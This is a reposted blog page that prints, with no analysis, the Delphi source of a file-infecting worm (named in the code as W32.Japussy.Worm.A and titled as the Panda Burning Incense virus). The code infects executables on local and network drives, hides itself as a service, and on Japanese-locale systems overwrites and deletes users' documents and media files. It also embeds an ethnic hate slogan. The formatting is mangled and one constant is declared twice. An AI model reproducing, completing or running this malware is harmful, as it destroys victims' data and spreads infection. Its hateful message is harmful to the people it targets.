zoukankan      html  css  js  c++  java
  • 熊猫烧香代码

    //病毒编写语言:Delphi 
    program Japussy; 
    uses 
    Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; 
    const 
    HeaderSize 
    = 82432
    IconOffset 
    = $12EB8; 

    HeaderSize 
    = 38912
    IconOffset 
    = $92BC; 


    IconSize 
    = $2E8; 
    IconTail 
    = IconOffset + IconSize; 
    ID 
    = $44444444

    Catchword 
    = 'If a race need to be killed out, it must be Yamato. ' + 
    'If a country need to be destroyed, it must be Japan! ' + 
    '*** W32.Japussy.Worm.A ***'
    {$R 
    *.RES} 
    function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; 
    stdcall; external 
    'Kernel32.dll'; var 
    TmpFile: 
    string
    Si: STARTUPINFO; 
    Pi: PROCESS_INFORMATION; 
    IsJap: Boolean 
    = False; 
    {} 
    function IsWin9x: Boolean; 
    var 
    Ver: TOSVersionInfo; 
    begin 
    Result :
    = False; 
    Ver.dwOSVersionInfoSize :
    = SizeOf(TOSVersionInfo); 
    if not GetVersionEx(Ver) then 
    Exit; 
    if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x 
    Result := True; 
    end; 
    {} 
    procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; 
    dStartPos: Integer; Count: Integer); 
    var 
    sCurPos, dCurPos: Integer; 
    begin 
    sCurPos :
    = Src.Position; 
    dCurPos :
    = Dst.Position; 
    Src.Seek(sStartPos, 
    0); 
    Dst.Seek(dStartPos, 
    0); 
    Dst.CopyFrom(Src, Count); 
    Src.Seek(sCurPos, 
    0); 
    Dst.Seek(dCurPos, 
    0); 
    end; 
    {} 
    procedure ExtractFile(FileName: 
    string); 
    var 
    sStream, dStream: TFileStream; 
    begin 
    try 
    sStream :
    = TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); 
    try 
    dStream :
    = TFileStream.Create(FileName, fmCreate); 
    try 
    sStream.Seek(HeaderSize, 
    0); 
    dStream.CopyFrom(sStream, sStream.Size 
    - HeaderSize); 
    finally 
    dStream.Free; 
    end; 
    finally 
    sStream.Free; 
    end; 
    except 
    end; 
    end; 
    {} 
    procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); 
    begin 
    Si.cb :
    = SizeOf(Si); 
    Si.lpReserved :
    = nil; 
    Si.lpDesktop :
    = nil; 
    Si.lpTitle :
    = nil; 
    Si.dwFlags :
    = STARTF_USESHOWWINDOW; 
    Si.wShowWindow :
    = State; 
    Si.cbReserved2 :
    = 0
    Si.lpReserved2 :
    = nil; 
    end; 
    {} 
    procedure SendMail; 
    begin 
    end; 
    {} 
    procedure InfectOneFile(FileName: 
    string); 
    var 
    HdrStream, SrcStream: TFileStream; 
    IcoStream, DstStream: TMemoryStream; 
    iID: LongInt; 
    aIcon: TIcon; 
    Infected, IsPE: Boolean; 
    i: Integer; 
    Buf: array[
    0..1] of Char; 
    begin 
    try 
    if CompareText(FileName, 'JAPUSSY.EXE'= 0 then 
    Exit; 
    Infected :
    = False; 
    IsPE :
    = False; 
    SrcStream :
    = TFileStream.Create(FileName, fmOpenRead); 
    try 
    for i := 0 to $108 do 
    begin 
    SrcStream.Seek(i, soFromBeginning); 
    SrcStream.Read(Buf, 
    2); 
    if (Buf[0= #80) and (Buf[1= #69) then 
    begin 
    IsPE :
    = True; 
    Break; 
    end; 
    end; 
    SrcStream.Seek(
    -4, soFromEnd); 
    SrcStream.Read(iID, 
    4); 
    if (iID = ID) or (SrcStream.Size < 10240) then 
    Infected :
    = True; 
    finally 
    SrcStream.Free; 
    end; 
    if Infected or (not IsPE) then 
    Exit; 
    IcoStream :
    = TMemoryStream.Create; 
    DstStream :
    = TMemoryStream.Create; 
    try 
    aIcon :
    = TIcon.Create; 
    try 
    aIcon.ReleaseHandle; 
    aIcon.Handle :
    = ExtractIcon(HInstance, PChar(FileName), 0); 
    aIcon.SaveToStream(IcoStream); 
    finally 
    aIcon.Free; 
    end; 
    SrcStream :
    = TFileStream.Create(FileName, fmOpenRead); 
    HdrStream :
    = TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); 
    try 
    CopyStream(HdrStream, 
    0, DstStream, 0, IconOffset); 
    CopyStream(IcoStream, 
    22, DstStream, IconOffset, IconSize); 
    CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize 
    - IconTail); 
    CopyStream(SrcStream, 
    0, DstStream, HeaderSize, SrcStream.Size); 
    DstStream.Seek(
    02); 
    iID :
    = $44444444
    DstStream.Write(iID, 
    4); 
    finally 
    HdrStream.Free; 
    end; 
    finally 
    SrcStream.Free; 
    IcoStream.Free; 
    DstStream.SaveToFile(FileName); 
    DstStream.Free; 
    end; 
    except; 
    end; 
    end; 
    {} 
    procedure SmashFile(FileName: 
    string); 
    var 
    FileHandle: Integer; 
    i, Size, Mass, Max, Len: Integer; 
    begin 
    try 
    SetFileAttributes(PChar(FileName), 
    0); 
    FileHandle :
    = FileOpen(FileName, fmOpenWrite); 
    try 
    Size :
    = GetFileSize(FileHandle, nil); 
    i :
    = 0
    Randomize; 
    Max :
    = Random(15); if Max < 5 then 
    Max :
    = 5
    Mass :
    = Size div Max; 
    Len :
    = Length(Catchword); 
    while i < Max do 
    begin 
    FileSeek(FileHandle, i 
    * Mass, 0); 
    FileWrite(FileHandle, Catchword, Len); 
    Inc(i); 
    end; 
    finally 
    FileClose(FileHandle); end; 
    DeleteFile(PChar(FileName)); except 
    end; 
    end; 
    {} 
    function GetDrives: 
    string
    var 
    DiskType: Word; 
    D: Char; 
    Str: 
    string
    i: Integer; 
    begin 
    for i := 0 to 25 do 
    begin 
    D :
    = Chr(i + 65); 
    Str :
    = D + ':\'
    DiskType :
    = GetDriveType(PChar(Str)); 
    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then 
    Result :
    = Result + D; 
    end; 
    end; 
    {} 
    procedure LoopFiles(Path, Mask: 
    string); 
    var 
    i, Count: Integer; 
    Fn, Ext: 
    string
    SubDir: TStrings; 
    SearchRec: TSearchRec; 
    Msg: TMsg; 
    function IsValidDir(SearchRec: TSearchRec): Integer; 
    begin 
    if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and 
    (SearchRec.Name 
    <> '..') then 
    Result :
    = 0 
    else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and 
    (SearchRec.Name 
    <> '..') then 
    Result :
    = 1 
    else Result := 2
    end; 
    begin 
    if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then 
    begin 
    repeat 
    PeekMessage(Msg, 
    000, PM_REMOVE); 
    if IsValidDir(SearchRec) = 0 then 
    begin 
    Fn :
    = Path + SearchRec.Name; 
    Ext :
    = UpperCase(ExtractFileExt(Fn)); 
    if (Ext = '.EXE') or (Ext = '.SCR') then 
    begin 
    InfectOneFile(Fn); 
    end 
    else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then 
    begin 
    end 
    else if Ext = '.WAB' then 
    begin 
    end 
    else if Ext = '.ADC' then 
    begin 
    end 
    else if Ext = 'IND' then 
    begin 
    end 
    else 
    begin 
    if IsJap then 
    begin 
    if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or 
    (Ext 
    = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or 
    (Ext 
    = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or 
    (Ext 
    = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or 
    (Ext 
    = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or 
    (Ext 
    = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then 
    SmashFile(Fn); 
    end; 
    end; 
    end; 
    Sleep(
    200); 
    until (FindNext(SearchRec) 
    <> 0); 
    end; 
    FindClose(SearchRec); 
    SubDir :
    = TStringList.Create; 
    if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then 
    begin 
    repeat 
    if IsValidDir(SearchRec) = 1 then 
    SubDir.Add(SearchRec.Name); 
    until (FindNext(SearchRec) 
    <> 0); 
    end; 
    FindClose(SearchRec); 
    Count :
    = SubDir.Count - 1
    for i := 0 to Count do 
    LoopFiles(Path 
    + SubDir.Strings + '\', Mask); 
    FreeAndNil(SubDir); 
    end; 
    {} 
    procedure InfectFiles; 
    var 
    DriverList: 
    string
    i, Len: Integer; 
    begin 
    if GetACP = 932 then 
    IsJap :
    = True; 
    DriverList :
    = GetDrives; 
    Len :
    = Length(DriverList); 
    while True do 
    begin 
    for i := Len downto 1 do 
    LoopFiles(DriverList 
    + ':\''*.*'); 
    SendMail; 
    Sleep(
    1000 * 60 * 5); 
    end; 
    end; 
    {} 
    begin 
    if IsWin9x then //是Win9x 
    RegisterServiceProcess(GetCurrentProcessID, 1
    else 
    begin 
    end; 

    if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe'= 0 then 
    InfectFiles 
    else 
    begin 
    TmpFile :
    = ParamStr(0); 
    Delete(TmpFile, Length(TmpFile) 
    - 44); 
    TmpFile :
    = TmpFile + #32 + '.exe'
    ExtractFile(TmpFile); 
    FillStartupInfo(Si, SW_SHOWDEFAULT); 
    CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 
    0, nil, '.', Si, Pi); 
    InfectFiles;end; 
    end.

    申明

    非源创博文中的内容均收集自网上,若有侵权之处,请及时联络,我会在第一时间内删除.再次说声抱歉!!!

    博文欢迎转载,但请给出原文连接。

  • 相关阅读:
    Servlet_note
    J2SE学习历程
    ASP.NET Core搭建多层网站架构【0-前言】
    使用oh-my-posh美化powershell
    Linux使用整理
    Ubuntu18.04国内源安装MySQL8.0
    Visual Studio Code 个人配置备份
    ASP.NET Core搭建多层网站架构【15-扩展之使用Obfuscar混淆加密保护代码】
    ASP.NET Core搭建多层网站架构【14-扩展之部署到IIS】
    ASP.NET Core搭建多层网站架构【13-扩展之支持全球化和本地化多语言】
  • 原文地址:https://www.cnblogs.com/Athrun/p/673227.html
Copyright © 2011-2022 走看看